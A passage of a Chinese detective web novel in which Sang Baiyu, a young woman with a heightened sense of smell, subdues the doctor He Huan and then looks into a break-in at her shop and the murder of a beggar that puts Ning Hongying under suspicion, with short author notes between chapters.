段浩说:“一会儿你再去一趟一院,他们的行为可能会破坏你的身体。” 池茗说:“我也不知道,反正他们让吃我就吃,我没有反对的资格,那个人……实在有些可怕。” “医生?” 池明远点头。 “医生怎么会可怕?” 池茗:“五大三粗的人很听他的话。” 段浩又是一惊,“难道医生才是真正的幕后人?” “我也不清楚,两个人差不多吧,其实我一直以为这一切都是池明远操纵的,我都姓池呢,是他们取的。” 事情已经了解得差不多了。 曼德和这位医生私下偷偷研究嗅觉好的孩子,想让孩子们帮他做事。 要做的事就是研究各种先进武器。 至于这些武器去了哪儿,只能请他们过来说了。 问题是医生的身份。 “你知道医生的名字吗?” 池茗嫌弃道:“我连五大三粗的人叫什么都不知道,还敢问医生的名字?” “他们没有称呼过彼此?” “他们很少在同一时间出现。” “那会是谁?” 池茗:“……我也很想知道。” 她不满地看着段浩,似乎嫌弃他废话太多。 段浩尴尬地看向局长。 不等局长开口,池昭先说道:“找人画像。” 段浩:“啊?” 池昭说:“先把医生的脸画出来,他能和曼德联手,曼德还对他很客气,一定不是普通人,如果有画像,说不定能认出他。” 几人匆匆走出审讯室。 吴元青第一个走过来,“怎么样了?” 池昭说:“得找画像师,池明远和收容所没关系,现在我们要找一个医生,他很重要。” 惠海铭几人走过来,“你说什么?收容所和池明远无关?!” 池昭点头。 吴元青不敢相信,“池明远是想脱罪吧?他在撒谎?” 池昭说:“池明远必死无疑。” 吴元青:“……” “可你说的医生是什么意思?”惠海铭问,“收容所里有医生?” 苏蓝移分析道:“收容所有很多检查身体的器械,还要研究孩子们的嗅觉,一定有医生的参与,只是没想到他的身份很重要。” 池昭看向四周,奇怪道:“桑白玉不在?” 惠海铭随口答道:“医院那边有点儿事,医生把她叫过去了。” 语落,整个市局仿佛都安静了。 医生把桑白玉叫走了。 哪个医生? * 桑白玉头昏脑胀,甚至就快分辨不出眼前的人是方小满还是敌人。 她们被逼到几乎无人的巷子,四处都有追逐她们的人。 方小满拖着桑白玉往前跑,“我怎么就没想过,嗅觉太强也不好,那家伙让你闻了什么?!” 桑白玉用力掐了掐大腿,声音也是迟钝的,“可能是会让人昏睡之类的药吧?” 原本需要吃下去才能起效的药,对她来说似乎特别有效。 现在她知道嗅觉太强的弊端了。 方小满将桑白玉拖入另一个胡同。 她看到胡同里放着水缸,二话不说先把桑白玉的头按进去。 桑白玉:“咕噜咕噜咕噜咕噜——” 桑白 玉:“……” 方小满看向身后的十几人。 十几个人而已,如果桑白玉是正常的,她们根本不用害怕。 可惜对方好像知道桑白玉的能力,提前准备了。 冷水让桑白玉清醒了些,可行动还是没那么自如。 这可不行。 如果嗅觉厉害就会如此,她以后岂不是会经常被攻击? 她以前也接触过药品,当时为何没有如此大的反应? 是因为这是他特意为她调制的药? 方小满见桑白玉的状态好了些,问道:“话又说回来,何欢到底为什么要追我们啊?” 突然出现的医生就是何欢。 桑白玉迅速分析道:“何欢在追我们,他知道我的能力,或许和收容所有关,池明远需要研究嗅觉,有医生在不奇怪。” “池明远都被抓了,他还在努力工作啊?真惨。” 桑白玉听到这话怔住片刻。 对啊,池明远被抓了,何欢第一时间不是自保,居然是来找她? 对何欢来说,抓住她比自保更重要? 那他就不会是普通的牛马了,起码得是高层领导级别的。 而且是那种,头子死了,他能获益的高级领导。 桑白玉恍然大悟,“原来何利是这样死的。” “啊?何利是谁?” 桑白玉无奈道:“你还验过他的尸体。” 方小满勉强用了用脑子,“精神病院的那个?” 何利的案子,他们一直没找到凶手。 桑白玉说:“何利的家里有孩子们的档案,他大概是发现了何欢做过的事情才被灭口。他是在来长峡的路上死亡的,他可能是想躲一躲,没想到何欢直接下死手。” 方小满惊讶道:“他可是何利的哥哥。” 何利遇害后,何欢还去过警署,当时他的难过十分真挚。 如果是何欢害死的何利,他的演技也太好了些。 桑白玉说完这些,方小满便听到笑声,“你的脑子果然很好用,说不定嗅觉会比池茗强。池茗真是不中用,这才哪儿到哪儿?还没有姜玉玲厉害,就停滞了。” 穿着白大褂的男人走到胡同口,身后还是几个打手。 桑白玉微讶,“姜玉玲的失踪和你有关?” 何欢没有否认,“她是我见过的最美丽最聪明的女人,可惜了,太过聪明,没能活下来。” 方小满怒道:“你为什么对池昭的妈妈下手?!” “我只是帮助她,”何欢微笑道,“我曾经是池明远的家庭医生,在我发现姜玉玲被池明远囚禁后,我没有装作看不见,反而顶着压力帮她逃跑,她不该感谢我吗?” 桑白玉立刻明白了,“是你把姜玉玲带走的,你想研究她的嗅觉。” 何欢说:“可惜她性格太烈,说什么都不肯帮忙,还自尽了。何苦呢,如果她愿意帮助我们,我能给她很好的生活。” 姜玉玲是自尽的。 桑白玉想到池昭,心里不太舒服。 如果他知道母亲的死因,会很难过吧。 桑白玉问:“何利呢,你的亲弟弟,你也不在意?” “没办法,以前有部分女孩是先转移到精神病院藏起来的,这个人就是太轴,明明又蠢又坏,还要装作正直,我们只好把人都转移到长峡,建了个收容所。” 方小满看向桑白玉。 原来收容所建在长峡还有这个原因。 何欢说:“我骗他,已经把孩子们放走了,他就信以为真,没想到出狱后被他发现了档案,他非要和我对峙,问我孩子们的下落,还说要去报案。” 在龙星岗报案当然没用,何利要去长峡报案。 何欢就只能送他离开。 “我本来想试试新研制的武器的,但炸药也很金贵,还是用最普通的东西把他送走吧,反正他不听话,只会给我添乱,他的命也不值几个钱。” 过去那几起未结的案子都有结果了。 何利是被何欢害死的。 还有提拉德,他与池茗有关,他的死八成也与何欢这帮人有关。 桑白玉说:“你们才是真正的丧心病狂。” 何欢道:“我们只是立场不同,做的都是彼此应该做的事。” 方小满气愤道:“你们应该做的事情就是杀人?更无耻了!” 桑白玉偷偷碰了碰方小满,在水缸后打手势。 方小满会意,继续大骂何欢,拖延时间。 桑白玉闭上眼睛回忆。 她以前接触过其他药物,当时没有任何反应,那会儿是怎么做到的? 和现在有区别吗? 她必须尽快想明白。 气味是可以暂时封闭的,这没问题,只要不呼吸就可以了。 但当时她根本不知道她对药物的反应有多大,不会故意不呼吸的。 方小满骂人的声音越来越大。 用词太脏,何欢恼羞成怒。 方小满低声求救,“我好像坚持不了多久了,要不就直接打吧?” 反正只有十几个人,只要桑白玉不晕倒,怎么都行! 桑白玉紧闭双眼一言不发。 方小满:“……你入定了啊?!” 桑白玉的脑子正飞速运作。 以前和现在的区别是…… 以前没有危险。 桑白玉猛然睁眼。 对了,以前的她没遇到危险!没有努力去嗅周围的气息! 方才不同,医生已经出现,她察觉到不寻常,便试图嗅出附近有多少人。 看来嗅觉的大小是可以控制的。 那应该有更进一步的方法吧? 不是直接捂住鼻子的控制,而是自由地呼吸,自由地控制自己,不使用能力。 桑白玉愈发放松,身子也跟着倾斜。 方小满看看何欢,又看看桑白玉,“这种情况虽然很不好意思,但我还是要打扰一下,你是要睡了吗?” 这不好吧?! 何欢身后的打手冲了过来。 与此同时,桑白玉慢慢站起来,淡定道:“十几个人而已,怕什么?” 她向前走去。 何欢拿出一盒药水,冷笑道:“这些药水可能对方小满没用,但对你却很有作用,你最好聪明点儿,别学姜玉玲,和我们合作有什么不好?” 桑白玉径直地朝何欢走去。 途经两个打手,打手愣住,一时间不知道该不该出手。 桑白玉顺手赏了他们两拳,门牙也跟着掉了两颗。 以哀号声为背景,桑白玉走到何欢面前保持着两米的距离。 何欢冷笑道:“你是真的不怕死,两米也足够了。” 他再次把药洒向桑白玉。 桑白玉纹丝未动。 方小满急道:“小玉,你赶紧回来!太危险了,快回来!” 她急火火地想往桑白玉那边冲。 已经走过去的打手却围了上去,她只能后退。 何欢笑盈盈地看着桑白玉,“既然你自投罗网,就和我走吧。这一次我会严加看管,不给你自尽的机会,你放心,姜玉玲的事,不会再重演了。” 然而一秒钟过去,十秒钟过去,一分钟过去,桑白玉毫无反应。 何欢的笑容渐渐凝固。 方小满也疑惑地看着桑白玉,“这是怎么了?” 这回轮到桑白玉露出吃人般的快乐笑容,“刚好代谢掉了诶,平时还是要多运动!代谢才会好!” 何欢还没反应过来,桑白玉便冲过来打掉了他手中的药水。 紧接着,他的脖子被桑白玉勒住,腹部和膝盖同时遭到重击,强烈的疼痛让他缩紧身体,喉咙又被桑白玉的手按着,连叫都叫不出来。 桑白玉冲着方小满喊道:“打,把他们都打死!” 方小满虽然不明白发生了什么,但显然桑白玉已经不会被药水影响,她心情愉悦,“我忍了很 久了!就他们几个?无聊!” 方小满冲打手们龇起大牙。 打手们:“……” 现在求饶还来得及吗? 池昭带人匆匆赶到时,已经停战了。 方小满正在打扫战场。 桑白玉把何欢丢给池昭,“给你,他也是关键人物,手里有人命,毙掉。” 池昭看向晕死的何欢:“……” 惠海铭冲过来检查她们的身体,“小玉,小满,没事吧?都还好?” 桑白玉摸了摸鼻子,“很好诶,而且还发现了新大陆。” 原来是否使用能力也是可以控制的。 在危险时刻,她只要保持普通人的嗅觉就好了。 池昭意识到什么。 他想到池茗的能力,再看看桑白玉,才意识到桑白玉的能力有多恐怖。 池茗与她完全无法相提并论,难怪何欢会冒着生命危险来找她。 池家的案子审了有两个月,才渐渐理清一些。 收容所的案子也登上各大报纸,一是要给宁蓝方面压力,让他们移交犯人,曼德也要受到惩罚。 其次便是,他们需要找到孩子们的父母。 长峡和龙星岗的市场一起洗牌了。 年前寒假,桑白玉回到玉石店。 他们今天要煮火锅,二楼热气腾腾。 池希看到桑白玉,朝她飞奔而去,试图拥抱她,被她躲开。 池希伤心道:“我提前放假,都等你两天了,你怎么躲着我?” 桑白玉说:“男女授受不亲,我们要保持距离。” 池希说:“我们就不能……” 桑白玉想都没想便拒绝,“不能。” 池希:“……” 更难过了。 张淼系着围裙,和惠海铭一起在厨房忙碌。 宁红英从房间里走出来,“小满今天加班,得晚些回来,好像是去山里验尸了。” 方小满目前是长峡市的法医。 长峡刑侦队工作格外多,和龙星岗警署的状态完全不同。 桑白玉问:“吴叔叔呢?” “他去看池茗了,明天才来。” 池茗最后虽然积极配合调查,有立功表现,但她牵扯的案子实在太多,目前人在少管所。 不过她没有杀人的主观意识,收容所其他人也能证明这一点,所以要待的时间不长,明年春天就能回来了。 吴元青已经在帮她联系学校,他想让她回去上学。 桑白玉无奈道:“真没想到吴叔叔又回龙星岗警署了,他真的要一辈子待在龙星岗吗?” “他的女儿还没找到嘛。” 桑白玉不知该说些什么。 吴元青的女儿大概也是被拐来的,可能嗅觉也不错。 最早被带来的那批孩子里,只有池茗几人活了下来,这几人都不是他的女儿。 吴元青的女儿八成已经…… 桑白玉想,吴元青也是知道的。 可有目标,就有希望,说不定哪天他真的会等到女儿。 一行人热热闹闹地聚在一起吃火锅。 桑白玉不断拿出小灵通。 信息那栏一直没有新的提示。 桑白玉拧眉点开信息。 她分明给池昭发了消息,邀请他一起来吃火锅,他居然不回消息。 可恶,过分。 几人闹到了凌晨一点才睡。 玉石店的生意稳定,现在就是他们的据点,随时都可以聚一聚。 桑白玉喝了些酒,没什么困意。 她躺在床上胡思乱想。 最近的生活太平静,她都不太适应了。 等池家的案子彻底理清楚,池明远也该走向断头台了。 何欢和曼德现在都在长峡市收押,他们对池茗等受害人做的事情,得有一个说法。 就在桑白玉迷迷糊糊要睡着时,她忽然听到响动。 桑白玉瞬间坐起来,刚好看到一颗小石子落到玻璃上。 桑白玉打开窗户,向楼下看去。 银白色的月光洒在安静的路面上,男人倚着路灯,戴着不合时宜的墨镜,朝她招招手。 桑白玉的唇畔瞬间弯起,她甚至没有走楼梯,直接从二楼翻窗跳下去。 池昭一惊,下意识走过来想接住她,桑白玉却提前一步稳稳落地。 桑白玉扬眉,“你也想接住我哦?” 池昭:“……” 他又被嫌弃了。 桑白玉看着池昭身上的军装,叉腰质问:“为什么不回我的消息,当上军官就了不起了?” 最重要的是…… “你都能当军官,我将来是不是比你强?” 池昭哭笑不得,他手指点着桑白玉的额头,将越凑越近的她推开,“我不是说了,我一直在为这边做事。” 桑白玉问:“十岁开始?” “嗯。” 桑白玉感慨道:“还是你藏得深,不过……你是你不回我信息的理由吗?” 池昭说:“今天有任务,才有时间,立刻过来了。” 桑白玉这才满意,“那就对了,吃饭了没,走,去吃饭。” 池昭诧异道:“现在?” 桑白玉把池昭往楼上拽,“对啊,还能吃。” 池昭犹豫道:“我和他们都不熟悉,不太方便。” 桑白玉的力气比从前还大,池昭毫无反抗的余地。 桑白玉说:“多相处才会熟悉,反正这几天假期你都不能走。” 池昭扬起唇,任由她拉着自己。 这样也不错—— 作者有话说:真的有每天都写,但因为直接写的主线,跳过了小案子和开店,感觉怎么写都很奇怪,所以一直没有发 [化了]虽然很怪,但真的是认真写完的 番外会写男女主感情线,福利番外,我记得要完结一周后才能发,就当写给为数不多的几个宝宝吧[让我康康]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 长峡的铺子和龙星岗的玉石店类似,一楼是店面,二楼可以住人,长峡有很多类似的房子,附近几户商家都是如此。 宁红英把二楼当作库房,只收拾出一间房来,晚上桑白玉几人就凑合挤在一张大床上。 半夜,桑白玉被方小满踢醒。 方小满睡姿奇差,桑白玉睁眼时,方小满的腿就搭在桑白玉的脖子上。 她再晚一会儿醒过来,可能都有性命之忧。 桑白玉把方小满推开,正要继续睡,忽然听到一楼传来细微的声音。 宁红英压低声音道:“你也听到了?” 听力方面,宁红英比桑白玉强。 宁红英说:“进来两分钟了。” “小偷?” “不止一个人。” 桑白玉闻言,鼻子动了动,还真不止一个“人味”。 而且…… 桑白玉蹙眉,“他们怎么来了?” 宁红英叫醒方小满,“干活了。” 方小满闭着眼睛爬向书桌,从工具箱里拿出解剖刀,举着解剖刀朝宁红英冲去。 宁红英:“我们的活儿!!” 桑白玉贴着墙根向外走去。 她们三个一直没停止训练,可以完全控制走路声音。 桑白玉在内,方小满和宁红英从窗户往下跳。 宁红英的身手不如方小满,她们一直避免让她单独行动。 桑白玉躲在暗处,看到那些人直奔二楼。 一楼柜台里有很多真玉,他们看都不看一眼。 就在这时,桑白玉听到三声鸟叫。 她和方小满的暗号,这是对方没有杀伤性武器的意思。 于是桑白玉直接走出去。 正在上楼的黑影:“?” 桑白玉叉腰。 黑影:“……” 尊重一下他们的职业啊! 下一秒,从一楼迂回的方小满和宁红英破门而入,桑白玉在同一时间出拳。 黑影站在楼梯上,她一拳打过去,再在关键位置补上一脚,对方只有哀号的份,桑白玉甚至不用 做什么。 很快,五个小毛贼被五花大绑。 桑白玉果断报警,派出所就在隔壁不远处,民警两分钟内赶到。 宁红英哭诉道:“我和妹妹们住在二楼,我们都是女孩子,他们是奔着要命来的,我们差点儿就没命了。” 民警看看三个生龙活虎的女人,再看看五花大绑满脸惊恐的男人们。 民警:“……” 另一个民警说:“他们直接踹开门闯进来?好大的胆子!” 方小满举手说:“门是我踹的,得把他们都抓住啊,门的钱得是他们赔。” 宁红英:“必须让他们赔!” 民警:“……” 这辈子没断过这么奇葩的案子。 只有桑白玉一直没说话。 她沉默地低着头,手中攥着小灵通。 桑白玉第五遍打开信息,仍然没看到新的简讯。 民警看到桑白玉,像看到亲人。 终于有一个正常的女孩了! 民警:“这位小同志……” 桑白玉忽然抬头,恶狠狠道:“他不给个合理解释,我就杀了他!” 民警:“……” 这家店好可怕!! 方小满:“我和红英不正常?我们只是肌肉稍微多了点儿!” 五人被民警带走。 私闯民宅性质恶劣,这次肯定要进去了。 方小满决定直接回龙星岗。 三人回到龙星岗已经是凌晨四点,玉石店仍然亮着灯。 方小满比了个“嘘”的手势,悄悄靠近玉石店大门。 她的耳朵刚覆到门缝前,就听到里面传来喝斥,“回来了就快滚进来!” 方小满:“……” 大姐能做大姐,是有道理的。 方小满磨磨蹭蹭走进去。 惠海铭正和苏蓝移谈话,她板着脸问:“怎么这个时间过来?” 方小满道:“我们这是回家,回家还要挑时间?” 惠海铭:“别贫嘴!” 宁红英将事情说了一遍。 惠海铭脸色凝重,“有人对你们下手?他们盯上你们了?不对,是盯上我了。” 与他们有仇的,只有惠海铭和苏蓝移。 但他们为何不直接过来,反而要去没那么方便行事的长峡? 方小满说:“大姐,我们回来帮忙。” “胡闹,”惠海铭道,“你赶紧辞了警署的工作,就算要做法医,也要去做长峡的法医,龙星岗不行。” 方小满瘪嘴。 宁红英关切道:“二哥的事呢?寻人启事有问题吗?” 惠海铭和苏蓝移对视一眼,道:“暂时没发现问题,这事你们也别管了,长峡的店不是卖得不错吗?生意好容易被盯上,你们三个要一起守着店。” 她说完才发现,桑白玉一直没说话,安静得很诡异。 三个妹妹里,惠海铭最不能放心的人就是桑白玉。 其他两个稍微傻点儿,能骗骗,这个不好骗。 惠海铭问:“小玉吓到了?” “不知道,从刚才起就一直没说话。”方小满道,“哎呀,她毕竟还是妹妹,不如我沉稳。” 宁红英:“……” 桑白玉回过神,看向惠海铭,不等她问,桑白玉便说道:“如果我没记错,苏叔叔留下的寻人启事都是找孩子的,这些孩子的特征和在何利家搜到的档案是一致的。” 惠海铭有些无奈。 她就说这个不好糊弄。 方小满震惊道:“苏家的案子与何利有关?!” “年龄、长相、衣着,能对上一半吧。剩下的一半对不上也正常,档案里是他们在精神病院的状态。” “你的意思是,有人从华国拐卖小朋友,运到了龙星岗,都进何利的精神病院了?!而且二哥的爸爸就是察觉到这一点,所以被灭口的?!” 桑白玉问:“大姐,你了解吗?” 惠海铭摇头,“我不清楚。” “会是池家做的吗?” 惠海铭说:“龙星岗是池家的地盘,如果是运到龙星岗,应该是他们下的手。” 桑白玉说:“何利的死,可能也与这些孩子有关,我们得找到这些孩子。” 苏蓝移拧眉,“事情过去这么久了,他们是否还活着都不一定。” “何利家的档案是被何利存起来的,他的死很可能与此事有关,他们既然害怕有人调查孩子们,孩子们应该还活着。” 方小满不解道:“如果他们早就把孩子们杀了,也会害怕被人发现啊。” 桑白玉惊讶道:“他们杀人会害怕被发现吗?池家?” 方小满:“……” 可能真的不会害怕。 桑白玉总结道:“原本何利的死与我们没关系,是否找到凶手不重要,但现在事情与苏叔叔有关,就必须要查下去。” 惠海铭头疼道:“你们能不能听点话?老老实实回长峡待着,过两个月你就开学了,去上学!” 桑白玉转身往楼上走,“红英姐姐,小满姐姐,我们回去休息吧,折腾一晚上了。” 宁红英和方小满看看惠海铭又看看桑白玉,都选择跟着桑白玉上楼。 惠海铭又是一声长叹,“她们真是越大越管不了。” 苏蓝移道:“红宁稳重,不必担心。” “小满和小玉怎么办?小满的脾气,如果让她知道……还有小玉,被池家发现,他们肯定会派人过来。” 苏蓝移问:“今晚闯进店里的人,会是冲着小玉去的吗?” 惠海铭忧心地摇头,“我真的做错了。” 从一开始,她就不该把他们牵扯进来。 楼上,方小满和宁红英换好衣服躺下,只有桑白玉还做着。 池昭到现在都没有联系她。 那些人,是池昭的人。 第52章 惠海铭开始暗中调查何利与苏衡。 这两人都已不在人世,何利还好,刚去世没多久,查苏衡太困难。 惠海铭刚收养苏蓝移时就调查过苏衡,苏衡与池家的生意没关系,他应该只是偶然发现什么。 现在看到这些人的档案和寻人启事,惠海铭有种不好的预感,她也不知道预感对不对。 宁红英在龙星岗待了一天,还要再回长峡。 她惦记长峡的店,店里不能没人看着,一天能赚好多钱呢! 方小满拉着桑白玉去赌石市场“进货”。 她们逛了四个多小时,满载而归,刚出市场,就看到池希的车停在门口。 池希推开车门抱怨道:“你们做什么事都不带着我,我们还算不算朋友?” 桑白玉点头又摇头。 池希:“?” “是朋友,但有些事不适合一起做。” 池希哀怨道:“可你都能和我哥一起做!我听说了,你们去省城了!” 提到池昭,桑白玉脸色微变。 她问:“你怎么知道我们一起去省城了?池昭说的?” “我爸告诉我的,”池希老老实实地交代,“我爸不太高兴,说我哥太胡来,每次都事后才告诉他。” 方小满一惊,“你哥和你爸关系不错?” 池希说:“你这话说的,他们是有血缘关系的亲父子,又不是陌生人,怎么可能关系差?我哥一直在帮我爸打理生意。” 方小满:“!!” 这个池昭,装得像好人,结果还是个大坏蛋! 方小满愤愤不平道:“你知道你爸做的都是什么生意吗?” “知道啊,”池希说,“我和你们说过,我爸开了很多店,像是那种迪厅啊,唱歌的跳舞的,都是我爸开的,我家很有钱的。” 池希昂首挺胸,试图用金钱吸引二人。 方小满和桑白玉毫无反应。 池希:“……” 她们果然和见钱眼开的人不一样! 桑白玉没理会手拿霸总剧本的池希,她对方小满说:“我们要当心池昭。” 池希说:“我哥人很好的,他虽然话很少,但是对我很好。” 方小满:“哦?比如说?” “他……”池希怔了一下,懊恼 道,“我和我哥相处不多,他比我大几岁,不喜欢和我玩,他更喜欢同龄人吧。” “不会啊,”方小满说,“我看他一直围着小玉转呢,小玉和你一样大。” 池希:“?!” 他的世界好像要崩塌了。 他的亲哥哥,居然围着他喜欢的女孩转?! 啊!! 桑白玉说:“正好你可以帮我们转达,让池昭老实交代,不然边斌可护不住他。” 池希沉浸在悲伤中。 方小满盯着池希,若有所思,“其实还有一个办法可以把池明远引出来。” 池明远一直从事非法活动。 在宁蓝国犯的事,华国无权干涉。 但走私一事,华国是可以管的。 只可惜池明远一直躲在家中,华国不可能直接派军队来把人带走。 方小满一直在想,如果能把池明远引到长峡就好了,就走私一事,名正言顺抓住他。 桑白玉也看向池希,“太冒险了,他不见得是为了孩子牺牲自己的人。” “试试呗,就算失败也没什么。” 桑白玉还想说些什么,想到池希还在,把话咽了回去。 大姐不想让她们掺和进来,她们不知道大姐手里有多少池明远犯罪的证据。 如果不能让他在华国被抓就是无用的。 宁蓝国这边不会动他,今天警署把人带走,明天就会安全地送回去。 池明远也清楚这一点,一直待在自己的地盘,有私人武装保护他,即便出门,也不会出现在华国。 惠海铭在龙星岗待了这么久,大概就是因为池明远躲得快,她抓不住他吧。 桑白玉说:“先回长峡吧,我有点儿担心红英姐姐。” 前不久店里刚被攻击,难保不会有下一次。 池希道:“我和你们一起去!” 方小满很嫌弃池希,“你?你能干什么?如果真打起来,你一点儿忙都帮不上,我们还要照顾你,别来添乱。” 桑白玉却一反常态,热情道:“好呀,一起吧。” 方小满:“?” 桑白玉朝她眨眨眼睛。 带着池希有好处,真发生冲突,也算是个人质,就看池明远和池昭舍不舍得对亲人动手了。 不过桑白玉的条件也很明确,“一起玩可以,不能开你的车。” “为什么?”池希无辜道,“我们需要代步工具。” 桑白玉看向加长版轿车。 这是普通的代步工具吗?! 三人回到长峡,玉石店还在开门营业。 宁红英又在愉快地算账。 “今天收入是……减去成本水电,净收入是……” 池希吃惊道:“红英姐姐说话可以这么快的哦?” 方小满道:“沾了钱是这样的。” 池希:“钱?钱是最没用的东西。” 方小满:“……” 真想把这位少爷赶出去。 宁红英算完账,心满意足道:“又是收获满满的一天。” 方小满朝宁红英伸手,“给点零花钱。” 宁红英立刻把钱都锁进抽屉里,“小玉说了,钱要留着拿来买房子,将来我们要去首都买房子。” 方小满:“小气。” 玉石店不是无时无刻都有客人的,大部分时间都很清闲,几人在店里无所事事。 方小满道:“还是应该买一台电视的吧,长峡的节目比较好看。放在柜台上,看店太无聊了。” 话音刚落,隔壁店铺忽然传来吵闹声,“死乞丐!滚出去!别影响我做生意!” 接着是锅碗瓢盆一起砸到地上的声音。 桑白玉最先走出去。 隔壁是家早餐铺子,中午就关门休息了,下午不营业,但是老板一家人都住在店里。 衣着单薄的乞丐被粗暴地推出来。 乞丐是头发混乱,手里拿着根木棍当拐杖,捧着饭碗到处乞讨。 看来是今天进店里被老板嫌弃了。 宁红英从口袋里掏出两个硬币递给他,“买两个馒头吃吧,别乱走了。” 乞丐欣喜地接过硬币。 他仔细地把硬币擦干净,确认是真钱后才高兴地收好,向宁红英道谢。 可看到宁红英的脸后,乞丐却愣住了。 他走向宁红英,抓起她的头发。 方小满立刻把二人隔离开,“喂,你干嘛?好心没好报啊!” 隔壁老板说道:“就你们年轻,还给他们钱?你没看报纸啊,他都不见得是真的乞丐,说不定就是出来赚钱的!别理他!” 乞丐嘴里冒出两句话。 是方言,方小满和桑白玉都没听懂。 老板走过来把乞丐赶走,“你们一群年轻人,要当心,坏人很多!” 桑白玉拧起眉。 乞丐刚才看宁红英的眼神,更像是认识她? 这不可能,宁红英自小在龙星岗生活,乞丐怎么会认得她? 桑白玉问:“红英姐姐,你见过他吗?” 宁红英摇头。 “一次都没见过?” 宁红英说:“我又不是小满,怎么会记错呢?” 方小满:“对啊,红英又不是我……宁红英,你什么意思?!” 桑白玉有些搞不明白。 池希道:“别争了,不就是个乞丐么,我们去吃饭吧,我想吃烤串!” 第53章 桑白玉和方小满被池希拉去吃烤肉,宁红英不想去,她要留下来开店。 方小满十分唏嘘。 以前的红英姐姐,那可是视金钱如粪土的,现在连吃饭时间都腾不出来了。 原来是因为以前的“粪土”不够多? 池希请客,方小满敞开了吃,还要了啤酒。 她还得考虑工作的事,原本已经决定要留在龙星岗警署,但大姐好像不太高兴? 她倒是也想去长峡的公安局,但长峡这边什么都比龙星岗正规,方小满又担心不够自由。 最重要的是,如果辞职了,她还能再分配到工作吗?! 方小满忧心忡忡地给自己开了瓶啤酒。 嗯,工作什么的先不提,喝酒比较重要。 桑白玉不喜欢喝酒,一般只陪着小酌。 池希和方小满喝得格外开心。 见池希差不多快醉了,桑白玉在池希裤子口袋里找到小灵通。 小灵通没有密码。 桑白玉先看信息。 现在没有微信,发消息全靠短信。 在发件箱,桑白玉找到好几条池希发出去的信息,对象是池昭,信息内容都是唠叨他又遇到多“危险”的事。 池昭没有回复。 池希和池明远只会通话,上次通话记录是在昨天,池明远给池希打电话,池希没接。 桑白玉把池明远的小灵通号记了下来。 这号码惠海铭有,是池明远对外的公用电话。 桑白玉再次确认信息一栏,昨天池明远给池希打过电话后,池希没有回拨,也没给他发消息。 应该不会吧? 桑白玉研究起池希的通讯录。 池希的狐朋狗友有很多,他总是缠着桑白玉,最近没和狐朋狗友联系。 其中有一个备注为1的号码,昨天池明远给池希来过电话后,池希两个小时后打给了1。 桑白玉把1的号码也记住,然后把手机寄给池希,“你怎么给人家备注1?他刚才给你打电话了。” 池希吓得一个激灵,慌慌张张坐起来抓住小灵通,“你挂了?!” 桑白玉:“哦,骗你的,只是觉得备注比较奇怪。” 池希松了口气,又瘫倒桌子上继续呼呼大睡。 从池希的反应来看,桑白玉差不多可以确定1的身份。 池希只怕两个人,一个是池明远,另一个是池昭。 他给池 昭的号码发过很多条信息,池昭没有隐藏电话号码的意图,这个1更有可能是池明远。 桑白玉把消息传给惠海铭。 就在她思考如何把池明远引来时,小灵通响了起来。 是宁红英打来的电话。 桑白玉接起电话,听到的却是陌生男人的声音,“你好,这里是长峡市公安局,宁红英同志涉嫌一起谋杀案,需要配合调查,麻烦你来办一下手续。” * 方小满和池希的酒醒了一大半,三人赶到公安局。 刑警段浩走过来迎接几人。 桑白玉不动声色地打量对方。 长峡的刑警看起来的确和龙星岗不一样,精神气都更足。 段浩虽然穿便装,但还是能看出他的职业不一般,那双眼睛看着和气,却如老鹰般锐利。 双方还没互相认识,就已经在心里评估起对方来。 段浩率先伸出手,“麻烦诸位了,你们是宁红英的家属?恐怕也要做个笔录。” 方小满担心地看向桑白玉。 宁红英怎么会被牵扯进命案里? 桑白玉冷静地点头,“明白。” 三个人被轮流问话。 确认他们与命案无关后,桑白玉才打听到一点儿内幕。 他们走后,宁红英和往常一样,等到七点才关门。 她自称是要去找妹妹们的,途中却在胡同角落看到奄奄一息的死者。 他当时还有一口气在,宁红英走上前查看。 “目击者称,死者一直拉着你们姐姐的手不让她走。”段浩说,“后来又有两个人走过去,死者仍然只拉着你们姐姐。” 事情就难办了。 宁红英被当作嫌疑人带回警局。 方小满问:“死者是谁?” 她拿出在龙星岗的证件,“我是法医,虽然不在长峡工作,但可以提供帮助。” 段浩笑道:“我们的法医已经去验尸了,放心,不会冤枉宁红英,我们正在寻找目击证人,证明宁红英离开店铺的时间。” 只是在没有找到新线索前,宁红英还不能走。 桑白玉自然也不能见宁红英。 离开公安局,方小满一脸茫然,“红英被关起来了?我们是不是被做局了?” 池希道:“这里的警察也太不懂变通了,问什么都说保密,你可是龙星岗警署的功臣,怎么能向你保密?我们能帮忙啊!” 桑白玉说:“长峡警方的态度才是正常的,我们都是外人,还是嫌疑人家属,人家会相信我们?” “那怎么办?”方小满问,“就只能等着他们去查?他们会不会欺负红英?” 桑白玉说:“绝对不能干等着,我们也去找证人。” 她们家的店在热闹的地段,才晚上七点,应该不难找到目击证人。 池希问:“死的到底是谁啊,为什么拉着红英姐不放?会不会真的是红英姐认识的人?” 桑白玉很担心宁红英,不想理会池希。 三人回到店里,挨家挨户地询问。 隔壁是早餐店,这会儿正睡觉,肯定没法给宁红英做证。 宁红英的运气不太好,附近几家店都没人注意她。 桑白玉便去路上找行人。 吴元青总说,警探的工作就是不停地走访找线索。 桑白玉习惯了“开挂”,还真不适应走访。 她走了将近两条街,也没找到证人。 与此同时,她还闻到了熟悉的味道。 桑白玉向前走去,看到两名穿警服的警察,还有警戒线。 借着路灯微弱的光芒,桑白玉能看到警戒线后的大片血迹。 这是案发现场。 从案发现场的位置来看,宁红英是关店后想去找他们,路过此处,发现奄奄一息的死者。 桑白玉轻轻嗅了嗅,大惊。 死者是今天下午见过的乞丐?!—— 作者有话说:[托腮]怎么写都觉得不对…决定把感情线写在番外 我这辈子是学不会写感情线啦!有救啦! 第54章 乞丐第一次看到宁红英时,表现就不同寻常。 没过几个小时他便被人谋害,临死前见到宁红英,拉着她不放。 这乞丐究竟是什么身份? 可惜命案是在长峡发生的,桑白玉看不到档案。 桑白玉走向路旁停着的车,拉开后门坐上去。 车内的人一惊,在武器朝向桑白玉前,桑白玉凶道:“闭嘴,这里不是龙星岗,老实点儿。” 边斌:“……” 以前周围是桑白玉的人,他得夹起尾巴做人。 现在周围都是自己的人,他还得夹起尾巴做人! 委屈! 桑白玉手中的刀抵在池昭的脖子上。 一回生二回熟,池昭很冷静。 桑白玉问:“为什么去玉石店?死的人和你们有关系?” 池昭摘下墨镜,掏出眼镜布擦拭,“你是在威胁我?” 